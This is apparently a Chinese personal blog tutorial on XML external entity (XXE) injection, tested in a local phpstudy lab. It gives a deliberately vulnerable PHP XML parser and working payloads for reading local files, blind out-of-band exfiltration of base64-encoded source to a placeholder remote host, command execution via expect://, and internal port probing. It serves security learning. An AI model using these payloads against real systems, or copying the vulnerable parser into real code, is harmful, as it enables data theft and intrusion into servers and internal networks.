xxe浅析
Comment前言
近一个月有点飘,心心念念的驾照说好元旦之前拿下来自己也算是做到了,想着吃顿好的庆祝下,结果把自己牙崩掉了,妈的点丧。马上考试周了,有点难受呀。抓紧着手总结下xxe要不又不知道拖到什么时候了。
XML
xxe也就是xml外部实体注入,libxml2.9.1及以后,默认不解析外部实体,也就是说漏洞利用是有条件的。
xxe复现利用
首先测试代码
<?php
$xml = simplexml_load_string($_POST['xml']);
echo $xml->name;
?>
我用的phpstudy PHP5.3 libxml版本为2.7.8 PHP5.5 libxml版本为2.9.4
读文件
有回显
直接读取
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///d:/test.txt" >]>
<foo>%26xxe;</foo>
(这里面的&一定要换成URL编码%26不然会解析错误//或许是我本地环境问题)
也可以调用远程文件
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>%26evil;</foo>
远程dtd内容
<!ENTITY evil SYSTEM "file:///d:/test.txt">
无回显
利用远程服务器上的xml文件进行读取
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
远程文件内容
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>%26xxe;</name>
</root>
PHP下需要expect扩展,没环境就不演示了。
探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>%26xxe;</name>
</root>
也可以url+payload直接打内网
参考连接: